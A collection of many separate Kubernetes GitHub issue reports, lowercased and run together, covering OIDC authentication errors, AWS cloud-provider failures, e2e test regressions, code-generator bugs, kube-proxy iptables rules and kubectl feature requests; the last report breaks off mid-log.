https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-cosbeta-k8sstable2-slow/272  |        previously closed issues for this cluster:  46918   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | mrhohn |  k8s.io  esipp  slow  should only target nodes with endpoints;  k8s.io  esipp  slow  should work for type=loadbalancer;  k8s.io  esipp  slow  should work from pods | | bprashanth |  k8s.io  services should be able to change the type and ports of a service  slow  | | madhusudancs |  k8s.io  services should only allow access from service loadbalancer source ranges  slow  | | sig/network |  k8s.io  services should only allow access from service loadbalancer source ranges  slow ;  k8s.io  esipp  slow  should only target nodes with endpoints;  k8s.io  esipp  slow  should work for type=loadbalancer |  </details><br>   current status  https://go.k8s.io/triage be986b1e2cf1af1a5777

 @kubernetes/sig-api-machinery-bugs\r   what happened  :\r i just switched to oidc authentication by extending  kube-apiserver.yaml  as follows:\r    \r - \ --authorization-mode=rbac\ \r - \ --oidc-client-id=<client id from google>\ \r - \ --oidc-issuer-url=https://accounts.google.com\ \r - \ --oidc-username-claim=sub\ \r    \r i acquired refresh and id tokens from this client and added them to the config:\r    \r user:\r     auth-provider:\r       config:\r         client-id: <google_client_id>\r         client-secret: <secret>\r         extra-scopes: openid email profile offline_access\r         id-token: <id_token>\r         idp-issuer-url: https://accounts.google.com\r         refresh-token: <refresh_token>\r       name: oidc\r - name: oidc_test\r    \r the token gets refreshed by  kubectl  as expected but when hitting the api server i get a  401  error back:\r    \r > kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r error: you must be logged in to the server  the server has asked for the client to provide credentials \r    \r in the log on the server i can see a corresponding error:\r    \r i0810 09:39:52.052547       1 jwt.go:230  signature error  key 0 : crypto/rsa: verification error\r e0810 09:39:52.052575       1 authentication.go:58  unable to authenticate the request due to an error:  invalid bearer token, crypto/rsa: verification error \r i0810 09:39:52.052607       1 wrap.go:75  get /version:  394.913µs  401   kubectl.exe/v1.7.3  windows/amd64  kubernetes/2c2fe6e  <ip> \r    \r   what you expected to happen  :\r at this point the api server should respond with a  403  status indicating i do not have permissions for a given action  no rolebindings exist yet! \r \r   how to reproduce it  as minimally and precisely as possible   :\r change the settings in  kube-apiserver.yaml  as described above and authenticate through google's oauth infrastructure and provide the id token in  kubectl \r \r   anything else we need to know?  :\r i've also tested this agains tokens from aad and aad v2.0 which exhibits the same behavior\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux k8s-master-42daebe3-0 4.4.0-89-generic  112-ubuntu smp mon jul 31 19:38:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have created iam policy, roles and attached them. i have given options --cloud-provider=aws and --cloud-config=/etc/aws/aws.config  in apiserver, controller-manager, kubelet \r > $ cat /etc/aws/aws.conf\r >  global \r > zone = us-west-2a\r \r the cluster is up and running when i remove --cloud-provider, --cloud-config options. \r \r   what you expected to happen  :\r k8s services should be up and running even with cloud provider options. i dont see proper documentation for storage classes on aws.\r   how to reproduce it  as minimally and precisely as possible   :\r with kubernetes 1.7.2 start apiserver, controller-manager, kubelet with /etc/aws/aws.conf as mentioned above.\r \r   anything else we need to know?  :\r if i restart the controller-manager it is up  only second time , but apiserver is not up even second time.\r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : sles 12 sp2\r - kernel  e.g.  uname -a  : 4.4.21-69-default\r - install tools: teradata proprietary tool  kubekit \r - others:\r

is this a bug report or feature request?  :\r \r  / i don't think this is really sig-scalability related, more like something for @kubernetes/sig-api-machinery-bugs or @kubernetes/sig-testing-bugs \r umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/486 failed with:\r    \r i0122 00:32:38.068  step: destroying namespace \ e2e-tests-density-kf7mq\  for this suite.\r i0122 00:32:45.476  jan 22 00:32:45.476: info: namespace: e2e-tests-density-kf7mq, resource: bindings, ignored listing per whitelist\r i0122 00:32:46.498  jan 22 00:32:46.498: info: namespace e2e-tests-density-kf7mq deletion completed in 8.430265098s\r i0122 00:32:46.499  step: destroying namespace \ e2e-tests-density-30-1-wv5nc\  for this suite.\r i0122 00:33:05.642  jan 22 00:33:05.641: info: namespace: e2e-tests-density-30-1-wv5nc, resource: bindings, ignored listing per whitelist\r i0122 00:33:06.818  jan 22 00:33:06.817: info: couldn't delete ns: \ e2e-tests-density-30-1-wv5nc\ : unauthorized  &errors.statuserror{errstatus:v1.status{typemeta:v1.typemeta{kind:\ status\ , apiversion:\ v1\ }, listmeta:v1.listmeta{selflink:\ \ , resourceversion:\ \ , continue:\ \ }, status:\ failure\ , message:\ unauthorized\ , reason:\ unauthorized\ , details:  v1.statusdetails  nil , code:401}} \r    \r looking closer at apiserver logs, i can see the following sequence of requests related to this namespace:\r    \r i0122 00:32:46.519483       1 wrap.go:42  delete /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  2.465067ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:46.558028       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.216095ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:48.597573       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.582088ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:50.597439       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.366297ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:51.521949       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.317926ms  200   kube-controller-manager/v1.8.8  linux/amd64  kubernetes/96cf917/system:serviceaccount:kube-system:namespace-controller   ::1 :52196 \r i0122 00:32:52.597518       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.771709ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:54.597087       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.330589ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:56.597807       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  2.017025ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:32:58.596856       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.262198ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:33:00.597320       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.30787ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:33:02.597426       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.786784ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:33:02.961606       1 wrap.go:42  delete /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  3.205711ms  200   kube-controller-manager/v1.8.8  linux/amd64  kubernetes/96cf917/system:serviceaccount:kube-system:namespace-controller   ::1 :52196 \r i0122 00:33:04.597943       1 wrap.go:42  get /api/v1/namespaces/e2e-tests-density-30-1-wv5nc:  1.614197ms  404   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r i0122 00:33:06.799040       1 wrap.go:42  get /apis/metrics.k8s.io/v1beta1/namespaces/e2e-tests-density-30-1-wv5nc/pods:  2.944673ms  401   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r    \r \r   what you expected to happen  :\r \r the get of metrics.k8s.io/.../pods should probably succeed, like it did for the namespace deleted just before the failure:\r    \r i0122 00:32:45.945594       1 wrap.go:42  get /apis/metrics.k8s.io/v1beta1/namespaces/e2e-tests-density-kf7mq/pods:  20.968374ms  200   e2e.test/v1.8.8  linux/amd64  kubernetes/96cf917  35.194.36.100:41174 \r

we should add a developers guide for addons that get pulled into kubernetes. guidelines should include:\r \r - base image policy  https://github.com/kubernetes/kubernetes/issues/40248 issuecomment-280781931 \r - security settings guidelines\r - podsecuritypolicy guidelines\r \r /cc @luxas @ixdy

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r get, list, update and create for non-namespaced subresources generate invalid code. \r \r i have the following code generation annotations\r \r    \r // +genclient\r // +genclient:nonnamespaced\r // +genclient:method=getscale,verb=get,subresource=scale,result=k8s.io/kubernetes/pkg/apis/autoscaling.scale\r // +genclient:method=updatescale,verb=update,subresource=scale,input=k8s.io/kubernetes/pkg/apis/autoscaling.scale,result=k8s.io/kubernetes/pkg/apis/autoscaling.scale\r // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.object\r    \r \r which generated\r    \r // updatescale takes the representation of a scale and updates it. returns the server's representation of the scale, and an error, if there is any.\r func  c  fakemachinesets  updatescale machinesetname string, scale  autoscaling.scale   result  autoscaling.scale, err error  {\r     obj, err := c.fake.\r         invokes testing.newrootupdateaction machinesetname, machineset , &api.machineset{} \r     if obj == nil {\r         return nil, err\r     }\r     return obj.  autoscaling.scale , err\r }\r    \r \r   what you expected to happen  :\r \r it should be \r \r    \r // updatescale takes the representation of a scale and updates it. returns the server's representation of the scale, and an error, if there is any.\r func  c  fakemachinesets  updatescale machinesetname string, scale  autoscaling.scale   result  autoscaling.scale, err error  {\r \tobj, err := c.fake.\r \t\tinvokes testing.newrootupdatesubresourceaction machinesetsresource, \ scale\ , scale , &autoscaling.scale{} \r \tif obj == nil {\r \t\treturn nil, err\r \t}\r \treturn obj.  autoscaling.scale , err\r }\r \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r generate clients for non-namespaced resources with subresources  like scale . \r \r \r  /area code-generator\r /assign

need help regarding revoking a already issued client certificates.\r \r steps to reproduce:\r \r i added the groups information in the idtoken of oidcuser1 and configured the same groups\r using \ --oidc-groups-claim\  in kubernetes\r \r i've created created client certificate and key for use with kubectl.\r \r openssl req -newkey rsa:2048  -out oidcuser.csr -nodes -keyout oidcuser.key -subj /cn=oidcuser/o=group1/o=group2\r which works fine with\r kubectl config set-credentials oidcuser --client-certificate=oidcuser.pem --client-key=oidcuser.key\r \r problem is if the user groups for oidcuser changes, then the certificate still have stale group information.\r \r is there any way we can configure apiserver to reject such certificates with assuming we have info related to certificate, key in hand?

is this a bug report or feature request?  :\r  \r \r   what happened  :\r in the case of an admission webhook that specifies a url, we only use the host and path fields of the parsed url,  url is defined as     scheme:  // userinfo@ host  / path ?query   fragment     \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/config/client.go l160-l172\r \r when a service based webhook is constructed, we do define a scheme for the config\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/admission/plugin/webhook/config/client.go l132\r \r if the scheme is not specified when the rest client is constructed, then it defaults to http, unless  ca, cert, or config.insecure is set\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/rest/url_utils.go l87\r \r   what you expected to happen  :\r admission webhooks should honor the scheme part of the url provided in their client config

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r > kind bug\r \r \r \r   what happened  : i use k8s 1.8.4 \r  i create statefulset by  https://www.kubernetes.org.cn/statefulset, create storage-class using the ceph rbd,then reboot the node running the statefulset, \r  the node can‘t shutdown \r showing:\r blocking unmount of \r the /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-kubernetes-dynamic-pvc-d40dce8f-698a-11e8-9650-005056b751f5 type ext4 \r the statefulset  pod change to r ‘unknown’ states  5 minutes later ,but can’t create a replacement pod with that same identity on the other nodes;\r \r \r   what you expected to happen  :\r when node down ,can create a replacement statefulset pod with that same identity on the other nodes;\r \r \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r can't shutdown the node \r \r   anything else we need to know?  :\r if you find that some pods in your statefulset are stuck in the ‘terminating’ or ‘unknown’ states for an extended period of time, you may need to manually intervene to forcefully delete the pods from the apiserver?\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: ceph 1.12.5\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : \r 3.10.0-693.el7.x86_64\r - install tools:\r install ceph-common 1.12.5 every node\r - others:\r use the storageclass \r

is this a bug report or feature request?  :\r  /assign @honkiko\r i'll make the pull request tomorrow.\r \r   what happened  :\r start kube-proxy in ipvs mode,  create some nodeport services. then look at the iptables rules.\r    \r -a kube-services -m comment --comment \ kubernetes nodeport tcp port for masquerade purpose\  -m set --match-set kube-node-port-tcp dst -j kube-node-port\r -a kube-services -m comment --comment \ kubernetes service cluster ip + port for masquerade purpose\  -m set --match-set kube-cluster-ip dst,dst -j kube-mark-masq\r -a kube-services -m set --match-set kube-cluster-ip dst,dst -j accept\r -a kube-node-port -j kube-mark-masq\r    \r \r match-set of kube-node-port-tcp is inadequate to be qualified as nodeport traffic.  \ --dst-type local\  is needed.\r \r   what you expected to happen  :\r \r    \r -a kube-services -m comment --comment \ kubernetes nodeport tcp port for masquerade purpose\  -m set --match-set kube-node-port-tcp dst -m addrtype  --dst-type local -j kube-node-port\r    \r \r since we have also kube-node-port-udp, another way would be like this:\r    \r -a kube-services  -m addrtype  --dst-type local -j kube-node-port\r -a kube-nodeports -p tcp -m set --match-set kube-node-port-tcp dst -j kube-mark-masq\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy in ipvs mode,  create some nodeport services. then look at the iptables rules.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : commit 67e7d4c\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core  \r - kernel  e.g.  uname -a  : linux vm_3_4_centos 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r if creating a crd xxx with additionalprintercolumns, running  kubectl get xxx --watch  only returns \ name age\ . \r \r \r   what you expected to happen  :\r same as  kubectl get  command,  kubectl get --watch  should also use server side printing by default. \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a crd with additionalprintercolumns, and run kubectl get --watch \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r  kubectl get ...  has flag  --no-headers , which is awesome. but  kubectl top ...  does not have this flag, it would be awesome if we have such a flag.\r \r this works:\r \r    console\r $ kubectl get pods --all-namespaces --no-headers \r default       busy                                    0/1       error       0         22h\r default       etcd-operator-69b559656f-6jt4l          1/1       running     1         23h\r ...\r    \r \r   what you expected to happen  :\r \r something like this should work:\r \r    \r $ kubectl top pods --all-namespaces --no-headers \r default       etcd-operator-69b559656f-6jt4l          1m           8mi             \r kube-system   etcd-minikube                           19m          59mi            \r kube-system   heapster-4r2ss                          0m           17mi            \r ...\r    \r

the —resource-container flag has been deprecated for many releases and can be removed.  todo add full context

at least as far as i can tell   we rely on systemd on ubuntu on aws  and possibly elsewhere  which means that these installs don't work properly  e.g.  18037   we can either upgrade salt on aws, or switch back to sysv init for ubuntu on aws  which does appear to work   i lean towards the second option.  @mikedanese @zmerlynn @justinsb

i am user support on call today and people are asking for documentation regarding steps required to add a node to a cluster. i could not find any good documentation on searching.  there was a so answer explaining it: http://stackoverflow.com/a/32657176  i think it will be good to explain it in our official documentation.

we've seen several issues where multiple concurrent openshift builds running on a node can denial of service attack the nodes control plane such that the controller thinks the node is unresponsive.   /cc @kubernetes/sig-node @kubernetes/sig-network @jeremyeder   xref: https://github.com/kubernetes/kubernetes/issues/21331

we have a clear regression in kubemark-500.\r \r now pretty much 1/3rd tests are failing with error like this:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/load.go:253\r scaling rc load-small-296 for the first time\r expected error:\r     < errors.errorstring | 0xc426ef5bc0>: {\r         s: \ error while scaling rc load-small-296 to 5 replicas: timed out waiting for \\\ load-small-296\\\  to be synced\ ,\r     }\r     error while scaling rc load-small-296 to 5 replicas: timed out waiting for \ load-small-296\  to be synced\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/load.go:484\r    \r \r this failed for the first time in this run:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/1806\r \r we need to fix this asap as this is blocking submit-queue for long periods.\r \r @k8s-oncall @shyamjvs @gmarek

was editing a manifest and found this in the logs:\r \r    \r e0520 21:25:51.800333    2483 file_linux.go:113  can't process config file \ /etc/kubernetes/manifests/.kube-proxy.manifest.swp\ : /etc/kubernetes/manifests/.kube-proxy.manifest.swp: read '<binary gunk>\r    \r \r we probably also should not log the whole invalid file.\r \r @kubernetes/sig-node-bugs

 \r running on gke: k8 1.8.4\r \r after a few rollouts of a deployment, eventually the clusterip service fails to detect upstream pods.  note the  endpoints:                <none>  on the service.  we have tried deleting both the service and the deployments to no avail.\r \r service:\r    \r ❯ kubectl describe service at-consumer-platform\r name:                     at-consumer-platform-service\r namespace:                default\r labels:                   app=at-consumer-platform\r                           chart=helm-at-consumer-platform-0.1.78\r                           heritage=tiller\r                           release=at-consumer-platform\r                           version=11\r annotations:              cloud.google.com/load-balancer-type=internal\r selector:                 app=at-consumer-platform\r type:                     loadbalancer\r ip:                       10.178.4.40\r ip:                       10.176.0.10\r loadbalancer ingress:     10.176.0.10\r port:                     http-web  80/tcp\r targetport:               %!d string=http-web /tcp\r nodeport:                 http-web  30727/tcp\r endpoints:                <none>\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r pods  selecting by the same label :\r    \r ❯ kubectl get pod -l app=at-consumer-platform\r name                                    ready     status    restarts   age\r at-consumer-platform-668548c9b7-gml9h   2/2       running   0          12m\r    \r \r    \r ❯ kubectl describe pod at-consumer-platform-668548c9b7-gml9h\r name:           at-consumer-platform-668548c9b7-gml9h\r namespace:      default\r node:           gke-platform-dev-default-pool-0c3859a1-p8pb/10.176.0.4\r start time:     fri, 29 dec 2017 15:25:44 +0000\r labels:         app=at-consumer-platform\r                 pod-template-hash=2241047563\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r \r   \r \r \r   what happened  :\r \r  endpointcontroller.syncservice  call delete endpoint when service is not found. \r \r   what you expected to happen  :\r \r it is no need to do delete in controller. because in service reststorage, endpoint is deleted when delete service. see https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/service/rest.go l170~l180\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r service of type loadbalancer in aws fails to get created when using  healthchecknodeport  with value of one of the node ports in a multi-port service.   im trying to set a specific heath check port in the elb created by the service otherwise it picks up the first one in the list by default  . the service can see it is it's own port so what is the problem here? the node ports in the example are for sure not used till the moment the manifest was run.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r the relevant part of the service manifest:\r \r    \r ...\r spec:\r   ports:\r   - name: app\r     nodeport: 32103\r     port: app-port\r     protocol: tcp\r     targetport: app-port\r   - name: hc\r     nodeport: 30989\r     port: hc-port\r     protocol: tcp\r     targetport: hc-port\r   selector:\r     app: my-app\r   sessionaffinity: none\r   type: loadbalancer\r   healthchecknodeport: 30989\r   externaltrafficpolicy: local\r    \r \r   anything else we need to know?  :\r using  kube-proxy  in iptables mode.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r installed k8s using kubeadm, and added the admin config as described. when asking for a  kubectl cluster-info dump  i get\r \r    \r error: missing apiversion or kind and cannot assign it; no kind is registered for the type core.nodelist\r    \r \r   what you expected to happen  :\r \r to get a cluster info dump\r \r   how to reproduce it  as minimally and precisely as possible   :\r with the following kubeadm.conf\r    \r apiversion: kubeadm.k8s.io/v1alpha1\r kind: masterconfiguration\r api:\r   advertiseaddress: 0.0.0.0\r networking:\r   servicesubnet: fd00:1234::/64\r kubernetesversion: 1.11.0-beta.2\r cloudprovider: external\r featuregates:\r   coredns: false\r \r crisocket: /var/run/containerd/containerd.sock\r    \r \r run\r \r    \r $ sudo kubeadm init --config=kubeadm.conf\r $ mkdir -p $home/.kube\r $ sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r $ sudo chown $ id -u :$ id -g  $home/.kube/config\r $ kubectl cluster-info\r $ kubectl cluster-info dump\r    \r \r   anything else we need to know?  :\r running containerd \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-beta.2\ , gitcommit:\ be2cfcf9e44b5162a294e977329d6c8194748c4e\ , gittreestate:\ clean\ , builddate:\ 2018-06-07t16:21:58z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-beta.2\ , gitcommit:\ be2cfcf9e44b5162a294e977329d6c8194748c4e\ , gittreestate:\ clean\ , builddate:\ 2018-06-07t16:13:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r brightbox\r - os  e.g. from /etc/os-release :\r ubuntu 18.04 lts\r - kernel  e.g.  uname -a  :\r linux srv-i4r66 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r kubeadm version: &version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-beta.2\ , gitcommit:\ be2cfcf9e44b5162a294e977329d6c8194748c4e\ , gittreestate:\ clean\ , builddate:\ 2018-06-07t16:19:15z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - others:\r containerd github.com/containerd/containerd v1.1.1-rc.1 cbef57047e900aeb2bafe7a634919bec13f4a2a5\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r i'm observing increased number of http  404  errors  kubernetes api server  when scheduling my  cronjob s to run every 2 minutes. the metric i'm observing  rest_client_requests_total  is coming from kubelet  /metrics  endpoint.\r \r   what you expected to happen  :\r scheduling my  cronjob s to run every 2 minutes doesn't increase the number of http 404 errors.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r just create the following  cronjob  and read the api server logs.\r \r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ batch/v1beta1\ ,\ kind\ :\ cronjob\ ,\ metadata\ :{\ annotations\ :{},\ creationtimestamp\ :null,\ name\ :\ etcd-backup-p95cd5wffg\ ,\ namespace\ :\ kube-system\ ,\ selflink\ :\ /apis/batch/v1beta1/namespaces/kube-system/cronjobs/etcd-backup-p95cd5wffg\ },\ spec\ :{\ concurrencypolicy\ :\ forbid\ ,\ failedjobshistorylimit\ :1,\ jobtemplate\ :{\ metadata\ :{\ creationtimestamp\ :null},\ spec\ :{\ template\ :{\ metadata\ :{\ creationtimestamp\ :null},\ spec\ :{\ containers\ : {\ command\ : \ /bin/sh\ ,\ -c\ ,\ /bin/true\ \  ,\ env\ : {\ name\ :\ cluster\ ,\ value\ :\ p95cd5wffg\ } ,\ image\ :\ ubuntu\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ store-container\ ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ } ,\ dnspolicy\ :\ clusterfirst\ ,\ initcontainers\ : {\ command\ : \ /bin/sh\ ,\ -c\ ,\ /bin/true\ \  ,\ env\ : {\ name\ :\ etcdctl_api\ ,\ value\ :\ 3\ } ,\ image\ :\ ubuntu\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ backup-creator\ ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ } ,\ restartpolicy\ :\ onfailure\ ,\ schedulername\ :\ default-scheduler\ ,\ securitycontext\ :{},\ terminationgraceperiodseconds\ :30}}}},\ schedule\ :\ @every 1m\ ,\ successfuljobshistorylimit\ :0,\ suspend\ :false},\ status\ :{}}\r   creationtimestamp: null\r   name: etcd-backup-p95cd5wffg\r   selflink: /apis/batch/v1beta1/namespaces/kube-system/cronjobs/etcd-backup-p95cd5wffg\r spec:\r   concurrencypolicy: forbid\r   failedjobshistorylimit: 1\r   jobtemplate:\r     metadata:\r       creationtimestamp: null\r     spec:\r       template:\r         metadata:\r           creationtimestamp: null\r         spec:\r           containers:\r           - command:\r             - /bin/sh\r             - -c\r             - |\r               sleep 20s\r             env:\r             - name: cluster\r               value: p95cd5wffg\r             image: ubuntu\r             imagepullpolicy: ifnotpresent\r             name: store-container\r             resources: {}\r             terminationmessagepath: /dev/termination-log\r             terminationmessagepolicy: file\r           dnspolicy: clusterfirst\r           restartpolicy: onfailure\r           schedulername: default-scheduler\r           securitycontext: {}\r           terminationgraceperiodseconds: 0\r   schedule: '@every 2m'\r   successfuljobshistorylimit: 3\r   suspend: false\r status: {}\r    \r \r   anything else we need to know?  :\r i'm attaching some logs from  api-server  and  kubelet \r \r  kube-api-server \r 51:i0730 12:29:29.011232      